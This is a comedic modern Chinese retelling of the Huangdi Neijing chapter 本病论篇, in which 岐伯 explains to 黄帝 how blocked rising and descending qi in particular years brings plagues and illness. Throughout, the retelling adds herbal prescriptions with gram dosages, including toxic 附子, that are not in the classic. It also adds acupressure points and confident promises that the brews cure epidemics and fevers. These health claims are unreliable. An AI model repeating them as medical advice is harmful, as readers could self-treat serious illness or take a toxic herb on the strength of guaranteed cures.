岐伯想了想，说：“当然有啦！不过呢，这方子得根据个人体质和具体情况来开。比如说，如果你感觉自己最近有点上火，那可以喝点菊花茶，清清火；如果你感觉自己最近有点气虚，那可以炖点黄芪鸡汤，补补气。总之呢，咱们中医讲究的是‘辨证施治’，得因人而异。” 黄帝有一天闲来无事，对岐伯说：“岐伯啊，咱们来聊聊那个气交遇会、胜抑之由的事儿吧！我听说这个能变成老百姓的病，还分轻重，这是咋回事儿啊？你给我讲讲呗！” 岐伯一听，立马来了精神，说：“这事儿啊，简单！胜相会，抑伏使然嘛！就好比咱们俩打架，你赢了我，我就得服你，是吧？在辰戌这两年啊，木气就像个小年轻，拼命往上窜，想要升天。结果呢，正好赶上了天柱这个‘大家伙’（注：天柱在古代指一种特定的天文现象或气运，现代无对应穴位，咱就当他是个难缠的大家伙吧）。木气一看，哎呀妈呀，这大家伙太猛了，根本打不过啊，于是就停了下来，不敢再往前冲了。” 黄帝一听，哈哈大笑：“这木气也太逗了吧！那后来呢？” 岐伯接着说：“别急嘛！后来 啊，又遇到了庚戌年，金运这家伙居然先天就到了，还特别强势。木气一看，哎呀，前有狼后有虎啊，这金运一来，自己更是没戏唱了。于是呢，木气就被金运给狠狠地压住了，想升都升不起来。这样一来，春天本该有的清风和煦就变成了清冷干燥，还时不时地下点霜降，草木都被冻得瑟瑟发抖，萎靡不振了。” 黄帝一听，笑得前仰后合：“这简直就是一场自然界的‘宫斗大戏’啊！那老百姓呢？他们咋样了？” 岐伯叹了口气，说：“老百姓可倒霉了！这木气被压住了，瘟疫就早早地来了，就像那些想要升职加薪的小职员，结果被上司打压，只能整天郁郁寡欢。他们的喉咙啊，就像被鱼刺卡住了一样，又干又痛。四肢呢，就像被灌了铅一样，沉甸甸的，关节也疼得要命。你说这难受不难受？” 黄帝听了，也是直摇头：“确实挺惨的！那后来呢？这病会不会越来越严重？” 岐伯说：“那当然啦！这病要是拖久了，就会变成郁病。就像那些被压抑久了的人，突然有一天就爆发了。到时候啊，大风就像发了疯一样，摧枯拉朽，树木都被吹得东倒西歪，还发出‘呜呜’的惨叫声。老百姓呢，也会突然中风，半边身子麻痹，手脚都不听使唤了。” 黄帝一听，顿时觉得这事儿太严重了：“那咱们得想想办法啊！有没有什么方子能治这病？” 岐伯摸了摸下巴，思考了一会儿说：“方子嘛，当然有啦！不过得根据具体情况来配。比如说啊，要是这病是因为木气被金运压制得太久，导致肝气郁结的话，那咱们就得用点疏肝解郁的药。像柴胡啊、白芍啊、枳壳啊这些，都能帮忙把肝气给疏散开来。不过呢，这方子可不是随便配的，得根据病人的具体情况来调整剂量。” 黄帝一听，顿时来了兴趣：“那你快说说，这方子具体怎么配？剂量是多少？” 岐伯笑了笑，说：“这事儿啊，得慢慢来。比如说吧，柴胡咱们可以用个15克，白芍呢，用个12克，枳壳用个10克。当然啦，这只是个大概的剂量，具体还得看病人的情况。要是病情轻点呢，剂量就小点；要是病情重点呢，剂量就大点。就像咱们平时吃饭一样，饿了就多吃点，不饿就少吃点嘛！” 黄帝一听，顿时觉得岐伯真是个“老中医”，说话都这么有哲理。于是他又问：“那脉象呢？这病在脉象上有什么表现？” 岐伯说：“这脉象啊，也很有意思。要是肝气郁结的话，脉象就会显得比较弦。就像咱们平时拉的二胡弦一样，紧绷绷的。而且呢，这弦还会时不时地跳动一下，就像是被风吹动了一样。要是病情严重点呢，这弦就会跳得更厉害，甚至还会出现一些不规则的跳动。就像那些被吓得魂飞魄散的人一样，心跳都乱了节奏。” 本病论篇第七十三（二） 岐伯说道：话说在古老的华夏大地上，有那么两位大佬，一个叫“巳亥”，一个叫“子午”，它们可不是简单的年份代号，而是掌握着天地间气候变化的神秘密码。咱们先说“巳亥”这位老兄吧，他一来，嘿，那简直是“君火”大哥的狂欢节，想要升天（这里可不是指成仙哦，是中医里的术语，表示气候变暖）去主持大局呢！但是呢，半路杀出个程咬金——“天蓬元帅”（开个玩笑，其实是五行中的水气太旺），愣是把“君火”给堵在了家门口，让它前进不得。 这时候，如果“厥阴风木”这位还没搬家（还没轮到它主导季节），那“少阴君火”就更别想升天了。这时候，天空中突然飘过一片“水运”（五行中的水元素），仿佛在说：“小样儿，想上天？先问问我答不答应！”于是，“君火”大哥就像被家长按住头的小孩，只能眼巴巴地看着机会溜走，结果呢，天气又冷了下来，早晚温差大得能冻掉下巴。 老百姓们可就遭殃了，一个个像是怀里揣了个小火炉，外面裹着冰块，心里烦得跟猫抓似的，时不时还心惊胆战，冷热交替，简直就像是在玩“冰火两重天”的游戏。时间一长，这股子郁气在体内憋得久了，就像火山爆发一样，突然来了一波超级热浪，还伴随着狂风、红肿、视力模糊，就像是世界末日提前到来。更糟糕的是，这热浪里还藏着病毒，一不留神，温疫就悄咪咪地找上门来，大家伙儿一个个都烦躁得要命，渴得跟沙漠里的骆驼似的。这时候，中医大师们出手了，他们告诉你：“别急，咱有招儿！”给你开个方子，名叫“泄热止渴汤”，主要成分有黄连（10克）、黄芩（10克）、黄柏（10克）、栀子（10克），再加上点甘草（5克）调和，煎汤服用，保证你喝完之后，那叫一个神清气爽，再也不怕“君火”大哥的恶作剧了！ 接下来，咱们说说“子午”这位大佬。它一来，嘿，“太阴湿土”这位小姐姐就想着升天去展示她的温柔魅力。结果呢，又被“天冲”这位大兄弟给拦住了去路，就像是你精心打扮准备约会，结果对方放了你鸽子一样郁闷。更悲剧的是，如果这时候再碰上个“壬子年”，木运（五行中的木元素）提前来凑热闹，那场面就更热闹了，简直就是“三重奏”——太阴湿土、天冲、木运，大家一起堵车在升天的路上。 结果呢，风啊沙啊满天飞，就像是沙尘暴来了，连天都看不见了，雨水也下不下来，湿漉漉的感觉全没了。老百姓们呢，一个个被风吹得头晕目眩，嘴角挂着口水（风厥、涎潮），手脚不利索（偏痹不随），肚子还胀得跟气球似的。时间一长，这股湿气和风邪就在体内憋成了“黄埃化疫”，听起来就像是超级病毒大爆发，人们开始纷纷中招，有的脸肿得像包子，有的脏腑黄疸，还有的连大小便都不顺畅了，简直是苦不堪言。 这时候，中医大师们又出马了，他们微微一笑，说：“别急，咱还有招儿！”于是，又开出一个方子，名叫“祛湿解毒汤”。这个方子啊，就像是一位温柔的清洁工，主要成分有茯苓（15克）、白术（15克）、猪苓（10克）、泽泻（10克），再加上点桂枝（5克）和黄芪（20克）来提气，煎汤服用，保证你体内的湿气、毒素一扫而空，恢复如初。 说到这里，您是不是觉得中医真是博大精深，又好玩又实用呢？其实啊，这些“天干地支”、“五运六气”虽然听起来复杂，但都是古人通过观察自然，总结出来的规律，用来指导我们如何顺应自然，保持身体健康。咱们现代人虽然不用像古人那样天天看天象，但学会一些基本的中医知识，对于养生防病，那可是大有裨益哦！ 岐伯说道：在那遥远的古代，有个叫做“丑未之年”的神秘年份（别想多了，这可不是说属牛和属羊的朋友那一年运气不佳哦），这个时候啊，少阳这位老兄（咱们可以理解为中医里的一个能量小分队）本该欢欢喜喜地升天（可不是飞到外太空哦，是指它在人体内的活动状态），结果却被一个叫“天蓬元帅”（此处纯属脑洞大开，中医里并无此穴位或术语，但咱们可以想象成是体内的一种阻碍力量）的家伙给堵在了家门口，进都进不去。这就像是你满心 欢喜准备去吃大餐，结果餐厅门口排起了长龙，那叫一个郁闷啊！ 更绝的是，这时候如果太阴姐姐（又一个中医里的能量小分队，代表阴气）还没搬家（也就是没按时到位），那少阴弟弟（又一个能量小分队）也就没法升天了。然后，水运大哥（代表水的能量）一看，嘿，机会来了，直接冲上前来，把场面搅得更乱了。少阳一看，得，我还是别凑热闹了，于是呢，它就“升天不前”了。 这一不前可不得了，原本该暖和的天气，突然变得跟冬天似的，寒风凛冽，冷得直哆嗦。河流啊，小溪啊，本来该潺潺流动的水，也都冻成了冰块，偶尔太阳出来露个脸，温暖了一下，但马上又被冷空气给打回了原形。这天气，简直是跟咱们的心情一样，时好时坏，捉摸不定。 这章没有结束，请点击下一页继续阅读！老百姓们呢，可就遭殃了。这寒气啊，悄悄溜进身体里，跟里面的阳气玩起了“躲猫猫”。结果呢，阳气被憋在里面，出不来，人就感觉心里烦热，好像有一团火在烧，心神不宁，一惊一乍的。这还不算，体内的寒气和热气还时不时地打个架，让人一会儿冷一会儿热，跟坐过山车似的。 时间一长，这淤积在体内的情绪啊，就变成了“郁”，就像你心里的委屈，憋着憋着，就变成了一个大包袱。然后呢，突然有一天，这个包袱爆炸了，变成了“暴热”——这可不是说你要发脾气，而是体内的热气一下子爆发出来，人会变得超级热，脸上还可能长出红色的风团，肿得像个小包子，眼睛也可能被“翳”（就是一层雾蒙蒙的东西）给遮住了。 这时候啊，如果不赶紧调理，这“郁疠”就会越来越严重，变成一种顽固的“伏热”，让人心里烦躁得要命，关节也开始疼痛，甚至手脚都冻得冰凉冰凉的，这就是“痹而生厥”。再严重点，还可能“血溢”，也就是出血，想想都吓人！ 不过别怕，咱们中医可是有办法的。 首先，咱们可以按摩一些“解郁”的穴位，比如“太冲穴”（在脚背上，大脚趾和二脚趾之间的缝隙往脚背方向约两指宽的地方），这个穴位就像是身体里的“情绪出口”，多按按，能让心里的郁闷疏散不少。还有“合谷穴”（在手背上，第一、二掌骨之间，靠近第二掌骨中点的地方），它也是调节气血、缓解压力的好帮手。 至于方剂嘛，咱们有一个叫做“解郁清热汤”的神奇药方。这个方子啊，里面得有黄连（清热燥湿）、黄芩（清热泻火）、黄柏（清热燥湿）、栀子（清热泻火）、当归（补血活血）、白芍（养血柔肝）、柴胡（疏肝解郁）、甘草（调和药性）等等。这些药材啊，按照一定比例（比如黄连、黄芩、黄柏各10克，栀子、当归、白芍各15克，柴胡8克，甘草5克，这只是个大概的比例，具体还得根据个人情况调整），放在一起煮，煮成一碗浓浓的汤，喝下去，感觉就像给身体洗了个澡，清爽多了。 岐伯悠悠地说：“哎，你们知道吗？寅申这两年啊，阳明这家伙就像是被提拔升天了，但它却把天英这位老兄给堵在家里出不来了。这可不妙啊！” 咱们想象一下，阳明就像是那个升职加薪后得意洋洋的新主管，而天英呢，就像是那个被堵在办公室里，一脸郁闷的老员工。阳明升天（也就是阳明之气旺盛）了，但它却把天英（也就是清新的风气）给憋住了，这可怎么办呢？ 岐伯接着说：“如果阳明这家伙太嚣张，又不巧遇到了戊申或戊寅这两年，火运这家伙就像是提前下班的加班狂人，嗖的一下子就来了。本来金（代表肺气、清凉之气）是打算升天的，结果被火运这家伙一压，金就只好憋屈地待在原地，动弹不得了。” 咱们可以把火运想象成一个热情过度的烤肉师傅，手里拿着一把大火钳，在金想要升天（也就是肺气想要舒畅）的时候，硬生生地把它给按住了。这样一来，天气就变得不正常了，就像烤肉师傅烤焦了肉，雨水也不肯下来了，西风却呼呼地刮个不停，空气都变得咸咸的、干干的，就像是被烤焦的盐巴一样。 于是啊，老 百姓们就开始遭殃了。他们觉得上半身热得要命，就像是被烤炉烤着一样，喘不过气来，咳嗽连连，甚至有的人还会咳出血来。这可真是“上火”上到家了啊！ 岐伯又叹了口气说：“要是这种情况持续久了，大家的心情都会变得郁闷起来，就像是被一团白雾笼罩住了一样。这时候啊，清冷的杀气就会悄悄出现，老百姓们又会觉得胁肋部胀得难受，心里悲伤得要命，还会不停地打喷嚏、流鼻涕、嗓子干得像被火烧过一样，手上的皮肤都会裂开，全身的皮肤都干燥得像树皮。” 哎，这可真是一幅“人间惨剧”啊！不过别担心，岐伯大佬既然说了这个问题，那他肯定也有解决的办法。 想象一下，阳明就像是一个得意洋洋的小鲜肉明星，突然被提拔成了大导演，结果他就把天英这位老戏骨给晾在了一边。天英呢，就像是被遗忘在角落里的老演员，一脸无奈地看着阳明在台上风光无限。 而火运呢，就像是一个突然闯入剧场的疯狂粉丝，手里还拿着一把大火把，到处乱窜。金呢，就像是一个想要上台表演的歌手，结果被火运这个疯狂粉丝一吓，连话筒都拿不稳了。 这样一来，整个剧场就变得乱七八糟了。雨水就像是那个被火运吓跑的清洁工，不敢再来打扫剧场了；西风就像是那个被阳明气坏的观众，不停地吹口哨、扔瓶子表示不满；而空气呢，就像是那个被烤焦的爆米花，变得又咸又干。 老百姓们就像是那些无辜的观众，本来是想来看一场好戏的，结果却被这场“乱斗”给搞得头晕目眩、身心俱疲。他们上半身热得像是被烤乳猪一样，喘不过气来；咳嗽得像是被烟熏了一样；甚至有的人还会咳出血来，就像是被火钳夹住了一样。 要是这种情况持续久了，大家的心情都会变得像那团白雾一样迷茫、压抑。就像是那些被导演抛弃的演员一样，心里充满了悲伤和无奈。于是啊，他们就会觉得胁肋部胀得像是被气球吹起来了一样；心里悲伤得像是被失恋了一样；还会不停地打喷嚏、流鼻涕、嗓子干得像是被沙子磨过一样；手上的皮肤都会裂开像是被刀割了一样；全身的皮肤都干燥得像是被抽干了水分一样。 不过啊，咱们也别太悲观了。毕竟岐伯大佬可是个神医啊！他肯定有办法解决这个问题的。他会开出一个神奇的方剂来，就像是给这场“乱斗”的剧场来一剂“清凉油”一样，让大家都能够舒舒服服地看好戏呢！ 比如说啊，他可以开一个叫做“清风润燥汤”的方剂来。这个方剂里面要有桑叶（代表清风）、菊花（代表凉爽）、百合（代表滋润）、麦冬（代表养阴）等等药材。就像是把这些药材放在一起熬成汤，然后给大家每人来一碗一样。 不过呢，这个方剂可不是那么简单的哦！岐伯大佬可是会精确到每一味药材的用量的哦！比如说桑叶要15克、菊花要10克、百合要20克、麦冬要15克等等。就像是给每个演员分配好角色和台词一样，一点都不能马虎哦！ 当然啦，岐伯大佬肯定还会教大家一些按摩穴位的方法来缓解这些症状啦！比如说啊，他可以教大家按摩太渊穴（位于手腕部，是肺经的原穴）来润肺止咳；按摩合谷穴（位于手背部，是大肠经的原穴）来清热解表；按摩曲池穴（位于手肘部，是手阳明大肠经的合穴）来疏风散热等等。 就像是给每个演员都配上一个专业的按摩师一样，让他们能够在表演之余也能够放松身心、缓解疲劳哦！这样一来啊，大家就可以在这场“乱斗”的剧场里找到属于自己的乐趣和舒适啦！ 本病论篇第七十三（三） 岐伯又说道：有那么一个神奇的年份，咱们就叫它“卯酉年”吧，听起来就像是兔子和鸡的混搭派对，但实际上它关乎天文、地理，还有咱们人体的那点事儿。在这神奇的年份里，太阳爷爷想升天（别误会，这里指的是自然界的一种能量变化），结果却被一个叫“天芮”的家伙给堵住了去路，太阳爷爷无奈地说：“哎，我这老骨头，想升个天咋就这么难呢？” 这时候，如果再加上阳明这家伙（代表另一种自然界能量）还没及时换班，也就是说，太阳爷爷还没正式上岗，新的班长阳明也没到位，场面就混乱了。就像咱们上班，前任没走，新任没来，办公室能不乱套吗？ 接下来，更逗的是，土运大神（代表五行中的土元素能量）来了，水元素一看，心想：“我也该上去露个脸了吧？”结果，土运大神大手一挥：“嘿，你给我老实待着！”水元素就被压制住了，升天的计划泡汤了。这一压制不要紧，地面上可就热闹了——湿气加重，热气蒸腾，冷热交替，简直就是自然界的桑拿房加冰箱，让人哭笑不得。 老百姓们可就遭殃了，为啥呢？因为这样的气候，肠胃受不了啊，食物吃进去就像被扔进了搅拌机，还没消化完呢，就被一股脑儿地排出来了，这就是“注下”。时间一长，身体里的气就堵住了，就像家里的下水道，堵久了，味道就不好闻了。这时候，人们就会感到冷不丁地来一股寒气，又突然热得要命，好像冰雹随时会从天上掉下来砸你脑袋一样，这感觉，啧啧，酸爽！ 于是，大家就开始出现各种症状了，比如打嗝打到停不下来，就像是被施了魔法一样；心里像有一团火在烧，但身体外面却像被冻住了一样，手脚酸痛，特别是小腿肚子，那叫一个疼啊；更有趣的是，有的人还会突然心跳加速，感觉像是被电了一下，然后又突然冷静下来，就像在玩心跳加速版的“过山车”。 好啦，说到这里，咱们是不是得想想怎么解救这些可怜的百姓呢？ 首先，对于肠胃不适的“注下”问题，咱们可以来个“五谷杂粮笑料包”。就是把各种颜色的杂粮（比如红豆、绿豆、黄豆、小米、黑米）混在一起，煮成一锅五彩斑斓的粥，不仅营养丰富，还能调理肠胃，吃下去就像给肚子开了个笑话大会，让它笑到忘记疼痛。 再来，针对冷热交替的“冰火两重天”症状，咱们可以自制一个“四季养生茶”。春天加点绿茶，清新去火；夏天来点菊花，清凉解暑；秋天放点枸杞，滋阴润肺；冬天则加点姜片，暖胃驱寒。每天根据心情和天气选择一杯，仿佛在与自然对话，让身体不再那么纠结。 至于那些“心悸燠热”的朋友，咱们可以来个“开心解郁小丸子”。用莲子、百合、茯苓这些平和又安神的食材，加点蜂蜜调味，做成一个个小巧可爱的丸子。吃下去，就像给心灵吃了颗甜甜的糖果，所有的烦恼都烟消云散了。 至于脉象嘛，咱们可以想象成是身体的“心情表”。比如，如果脉象跳动得像小兔子一样快，那可能是心里藏了个小宇宙，正在爆发呢；如果脉象缓慢沉重，就像是懒洋洋的大熊猫，可能就需要多休息，补充点能量了。 黄帝说：“哎，岐伯啊，关于那个‘升之不前’的奥秘，我已经被你彻底说服了，感觉就像是解锁了宇宙的新成就！不过呢，我这心里还是痒痒的，想再问问，那个‘降之不下’又是怎么回事呢？你能不能再给我这个好奇宝宝讲讲，让我心里这块石头也落地啊？” 岐伯一听，哈哈大笑，拍了拍黄帝的肩膀说：“哎呀，黄帝大人，您这求知欲可真是旺盛啊！行，今天咱们就把这天地间的微妙之道，彻彻底底地聊个通透！咱们说的这个‘升已必降’，就像是咱们生活中的电梯，上去了总得下来，对吧？这气在人体里也一样，它升到天上（咱们就理解为头顶吧，想象成百会穴那个位置），溜达个三年（当然啦，这是个比喻，意思是有一段时间），然后呢，它就得乖乖地往下走，降到地面（咱们就说是涌泉穴那儿吧），这时候，它就开始了在身体里的左半边（左间，可以理解为左边身体的经络循环）的探险之旅。这一升一降，一来一回，就像是咱们生活的六个小章节，每个章节都有它的精彩故事，咱们称之为‘六纪’。 “现在，让我用更接地气的方式给你讲讲这‘降之不下’吧！想象一下，你的身体是一部超级复杂的电梯系统，每个脏腑都是不同楼层的住户，而经络呢，就是那连接各楼层的走廊。有一天，这个系统出了点小故障，本该降下来的气，就像是被困在电梯里的乘客，怎 么也按不下‘下楼’按钮，这可急坏了咱们身体的总指挥——黄帝大人你！ “为啥降不下来呢？原因可多了去了，比如说，脾胃这个‘电梯管理员’可能太累了，没力气把气往下送；或者是肺这个‘通风系统’出了问题，气堵在上面下不来；再或者是肾这个‘动力源泉’不够强劲，推不动气的下降。这就像咱们生活中，电梯没电了、信号不好、或者控制系统出bug了一样。 “那怎么办呢？别急，咱们中医有的是办法！比如说，如果是脾胃的问题，咱们就来个‘健脾和胃汤’：取党参30克，白术15克，茯苓15克，炙甘草10克，陈皮10克，半夏10克，这些药材就像是一群勤劳的维修工人，帮助脾胃恢复动力，让气顺利下降。这方子熬起来，那味道，就像是妈妈炖的鸡汤，暖暖的，很贴心。 “要是肺的问题呢，咱们就来点‘润肺降气饮’：麦冬20克，杏仁10克，桔梗10克，枇杷叶10克，百合15克，这些药材就像是给肺做了一个spa，让它重新变得柔软通畅，气自然就顺畅降下来了。喝起来，就像是喝了一杯清凉的果汁，瞬间感觉呼吸都顺畅了。 “至于肾嘛，那就得补肾纳气了，来个‘肾气丸’加强版：熟地黄24克，山药12克，山茱萸12克，泽泻9克，茯苓9克，丹皮9克，肉桂3克，附子3克（注意，附子有毒，需先煎一小时），这些药材就像是给肾加了个超级充电器，让它重新充满能量，推动气的下降。吃起来，虽然味道有点复杂，但想到能让自己身体的小电梯恢复正常，是不是觉得一切都值了？ “当然啦，除了吃药，咱们还可以通过按摩穴位来帮助气的下降。比如说，揉揉足三里（小腿外侧，膝盖下三寸），就像是给脾胃做了一次温柔的按摩，让它放松下来；再拍拍丰隆穴（小腿前外侧，外踝尖上八寸），就像是给肺部的痰浊找了个出口，让它顺畅排出；还有太溪穴（足内侧，内踝后方与脚跟骨筋腱之间的凹陷处），多按按，就像是给肾加了个油，让它更有劲头工作。 “最后，咱们再来聊聊脉象。如果气降不下来，脉象上可是有明显表现的。比如说，弦脉就像是紧绷的琴弦，说明肝气郁结，气被堵在上面了；滑脉呢，就像是滚动的珠子，可能是痰湿太重，阻碍了气的下降；而沉脉，就像是潜水员潜到了水底，说明正气不足，气无力下降到身体下部。这时候，咱们就得根据脉象来判断问题所在，然后对症下药，或者按摩相应的穴位，让身体的小电梯恢复正常运行。” 岐伯大大开始讲起了天文、气候和人体健康的那些事儿。他说啊，在咱们农历的丑年和未年（就是牛年和羊年，别想多了，跟属相没关系哈），大自然有个叫“厥阴风木”的家伙，它会从天上降到地面上来。这家伙一来，就像个霸道总裁，把地面上的“地晶”（咱们可以理解为地面的自然精华）给霸占了，还一副“我是老大，你们都得听我的”的架势，结果就堵在那里，前进不了。 这时候，如果再加上一个叫做“少阴君火”的家伙还没退位（想象一下，就像公司里的前任老大还不肯让位），那“厥阴风木”就更下不来了。正当它纠结要不要继续往下的时候，突然，一个叫做“金运”的大佬出现了！这个“金运”啊，五行属金，代表着秋天的干燥和收敛，它一来，就准备接手“厥阴风木”的工作，让它赶紧下来。 但是呢，“厥阴风木”这家伙就像是被粘住了似的，就是不肯下来。于是，“金运”大佬生气了，一使劲儿，把“厥阴风木”给压得更低了，结果两者就这么僵持着，变成了“抑郁”状态。咱们可以想象成两个大佬在谈判桌上互不相让，气氛紧张得能拧出水来。 这时候，如果你站在远处看，会看到什么呢？对了，一片灰蒙蒙的尘埃，就像是雾霾天一样，那是因为“厥阴风木”想降却降不下，只能在那里搅动空气，把尘埃都给扬起来了。接着，白色的“金运”之气就跟上来了，就像是在灰蒙蒙的天上加盖了一层白纱，风一吹，尘埃和雾气混在一起，整个世界都变得朦胧起来。 然后啊，这“金运”大佬就开始发挥自己的特长了，它带来了清新的干燥之气，就像是秋天的大风，嗖嗖地刮着，把树叶都吹落了，还带来了霜露，让整个大地都感受到了它的威严。这就像是公司里新上任的ceo，一来就立规矩，搞得大家都得紧张起来。 但是呢，如果“厥阴风木”这家伙一直这么抑郁着不下来怎么办？那就更有趣了，它会慢慢积累成一种“风燥”的混合物，就像是火锅里的麻辣 牛肉和干豆腐片，放在一起煮，那味道，啧啧，够劲儿！这时候，天气就会出现一种奇怪的现象：明明应该是温暖的，却突然变得清凉起来，就像是吃火锅吃着吃着，突然有人给你开了一瓶冰镇饮料，那叫一个透心凉！ 然后啊，那些本来应该冬眠的小动物们（咱们可以想象成公司的实习生），看到天气这么反常，都懵了，不知道该不该冬眠。而那些草木呢，也像是被搞糊涂了一样，明明该枯萎了，却突然又冒出了新芽，就像是熬夜加班后，第二天早上突然精神焕发，结果下午又萎靡不振了。 这时候，如果再有霜冻下来，那些还没准备好的小动物们可就惨了，就像是突然被通知要加班的实习生，一脸懵圈。而那些“藏”（咱们可以理解为人体内的脏器），也会因为这种突然的天气变化而受到伤害，就像是咱们突然吃了太辣或者太冷的东西，胃就会不舒服一样。 好啦，说了这么多，大家是不是觉得岐伯大大的话听起来就像是在看一部古代版的《权力的游戏》呢？其实啊，这里面蕴含着深刻的中医理论，告诉我们自然界的气候变化是如何影响人体健康的。所以啊，咱们平时还是要多关注天气预报，别让自己的身体也跟着“抑郁”起来哦！ 岐伯说啊：“每当碰到寅年和申年，那可是少阴君火本该乖乖下凡到地面，给大地妈妈暖暖身子的时候，结果它却跟大地妈妈玩起了捉迷藏，躲在天上不下来，你说气不气人？这就像是你期待已久的外卖，结果骑手小哥迷路了，迟迟不来，你说饿不饿？” 更逗的是，如果这时候再赶上个丙申年或者丙寅年，那可是水运旺盛得不得了，就像是大海里的浪花儿，一波接一波，提前就来报到了。本来吧，少阴君火是想下来给大伙儿送点温暖的，结果水运这位大哥一看，嘿，你小子想抢我风头？不行，我得接住你，让你下不来！结果呢，就出现了这么一副奇景：天边刚露出点红霞（彤云），转眼就被一团黑云给盖住了，就像是早上刚泡好的咖啡，还没喝呢，就被突如其来的暴雨给淋湿了，你说郁闷不郁闷？ 这时候，天气就变得特别逗，一会儿暖洋洋的，像是春天提前来了，大家纷纷换上短袖，准备迎接夏天；结果下一秒，雪花飘飘，寒风凛冽，又像是冬天又杀了个回马枪，冻得你直哆嗦，心里那个悔啊，为啥没多穿点呢？这种天气变化无常，就像是女朋友的心情，你永远猜不透，只能默默承受。 岐伯接着说了：“要是这少阴君火长时间下不来，它就憋屈在心里，慢慢就变成了个小火山，一旦爆发，那可不得了！先是冷得要命，然后又热得跟蒸笼似的，这就叫‘寒胜复热’。更糟糕的是，这股热气还会变成红色的瘟疫（赤风化疫），搞得大家脸上红彤彤的，跟喝醉了似的，心里烦躁得跟猫爪挠一样，头疼得像是被念了紧箍咒，眼睛还花得跟看3d电影没戴眼镜一样。” 这时候，你要是看到有人脸上红扑扑的，千万别以为他是害羞，说不定就是中了这股‘赤风化疫’的招儿呢！岐伯大爷这是在提醒我们，当这股红色的气息（赤气）明显起来的时候，温病就要找上门来啦！ 不过，别担心，咱们老祖宗可不会让我们束手无策。比如说，对付这种‘赤风化疫’，咱们可以来个“降火四件套”： 第一套，按摩“灭火穴”——现代对应的就是“涌泉穴”，每天早晚按一按，就像给身体里的火气开了一扇窗，让它透透气，别憋着。 第二套，喝点“清凉汤”——咱们来个现代版的“金银花露”，金银花30克，菊花20克，薄荷10克，加点冰糖调味，煮成一锅，清热解毒，那叫一个爽！ 第三套，做个“静心操”——找个安静的地方，闭上眼睛，深呼吸，想象自己是个冰块，慢慢融化，把身体里的热气都带走，心情自然就平静下来了。 第四套，来点“食疗方”——吃点西瓜、苦瓜这些寒凉的食物，就像是给身体吃个冰淇淋，降降温。 至于脉象嘛，这时候的脉象就像是过山车，一会儿快得像是要起飞，一会儿又慢得像是在散步，起伏不定。你要是能摸出这种脉象，恭喜你，你已经掌握了“读心术”，知道对方最近是不是被天气折磨得够呛了！ 本病论篇第七十三（四） 岐伯悠悠地说：“你们知道吗？在那些卯年和酉年啊，就像咱们现在的属兔和属鸡的年份，大自然界的太阴星（咱们可以理解为一种气候或者能量场吧）它会悄悄地降临到地面上，打算给大地妈妈来个深度按摩，让土地变得苍劲有力，结果呢，却被一股神秘力量给挡在了门外，进不来！” “啥？还有这事儿？”黄帝一脸懵圈地问。别急，岐伯接着讲：“有时候呢，是少阳这个调皮鬼还没玩够，不肯让位给太阴，就像小朋友霸占着玩具不放手一样，太阴自然就降不下来啦。又或者呢，木运（想象一下，就是自然界中那股生机勃勃的木元素能量）来了，它一看太阴要下来，心想：‘嘿，正好我可以接手这份重任！’于是，木运就承接了太阴的任务，结果呢，太阴还是没能顺利降下。” 这时候，天空会出现什么奇观呢？岐伯神秘一笑：“你猜？对了，黄云漫天，青霞闪耀，就像是大自然的调色盘被打翻了一样，整个世界都变得雾蒙蒙、灰扑扑的，还夹杂着各种奇怪的雾气和小尘埃，这可真是‘雾霾天’的祖先级别场景啊！人们呢，就开始遭殃了，四肢软绵绵的像面条，头晕目眩得跟喝醉酒似的，关节疼得像被针扎，肚子胀得跟怀孕了一样，心里还憋屈得慌，这感觉，啧啧，简直不能更糟了！” “那么，如果太阴长时间下不来，会怎样呢？”岐伯卖了个关子。嘿嘿，答案揭晓：“它会憋在心里，变成一股郁闷之气，然后，天空就会布满黄色的尘埃，地面上则是湿漉漉、热腾腾的，人们就更难受了，各种不舒服接踵而至。” 讲到这里，咱们不妨来点实际的，有个“解郁汤”能帮大家缓解这种郁闷之气。 这个“解郁汤”需要以下材料： - **柴胡** 20克（就像个小太阳，能疏肝解郁，让你心情大好） - **白芍** 15克（温柔的白衣天使，安抚你的肝脏，缓解疼痛） - **枳壳** 10克（像个勤劳的小蜜蜂，帮你疏通经络，消除胀气） - **炙甘草** 5克（调和一切，像是团队的粘合剂，让药效更加和谐） - **香附** 12克（香气扑鼻，能行气解郁，让你的心情像花儿一样绽放） 制作方法超简单：把这些材料洗干净，放进锅里，加水没过药材约2厘米，大火煮开后转小火慢炖30分钟，滤掉药渣，一杯热腾腾、香气四溢的“解郁汤”就完成啦！每天饭后喝一杯，保证你心情舒畅，四肢有力，再也不怕那些阴霾天气啦！ 至于脉象嘛，咱们也来聊聊。中医里讲究“望闻问切”，切脉就是其中一项绝技。如果这时候你去看医生，医生可能会摸到你的脉象“弦而紧”，就像紧绷的琴弦，这表示体内有郁滞之气，需要好好调理一番。 岐伯悠悠地说：“嘿，你知道吗？在那些辰年和戌年的日子里，少阳之气就像个调皮的孩子，噌噌噌地降到地面上来，它主要负责把大地妈妈搞得神秘兮兮的，让地玄之气（咱们可以理解为大地的深层能量）憋得慌，根本进不来新的能量。这就好比家里来了个熊孩子，把门堵得严严实实，新玩具都进不来。” “但是呢，偏偏这时候，水元素（五行里的水哦，不是你家水龙头里的水）这家伙太爱出风头了，它本该按部就班地来，却偏偏要提前抢镜，硬是要接这个少阳之气的班。结果呢，少阳之气就被它顶在上面，下不来了。这就像是你吃火锅，明明点的微辣，结果服务员手一滑，给你加了半碗辣椒油，火候直接飙到天际！” “于是，天空中开始出现了红彤彤的云彩，你以为春天要来了，可以脱秋裤了，结果，‘嗖’的一下，黑云压城城欲摧，冷气嗖嗖地就来了，跟变脸似的快。这还不算，如果冷气来得猛，嘿，直接给你下个冰雹，让你感受一下什么叫‘透心凉，心飞扬’！” “这少阳之气呢，被这么一折腾，它就生气了，决定不下来了，躲在地底下生闷气，越积越多，最后变成了‘郁闷小王子’。这一郁闷可好，冷气跟热气就开始打架，一会儿冷一会儿热，就像你在家开暖气又开风扇，结果自己先感冒了。这时候，红色的热气（赤气）就开始嚣张了，它说：‘看我不把你们烧成烤乳猪！’于是，热病就这么悄无声息地准备上门拜访了。” “老百姓们呢，这时候可就遭殃了，脸上红彤彤的，跟喝了二锅头似的；心里烦得跟猫爪子挠似的；头疼得跟带了紧箍咒一样；眼睛花得连自家狗都认不出来。这赤气一嚣张，就像 是朋友圈里那个总是晒美食、晒旅行的朋友，看得你心里直痒痒，恨不得立马病一场，也来个‘病号餐’，享受一下特殊待遇。” 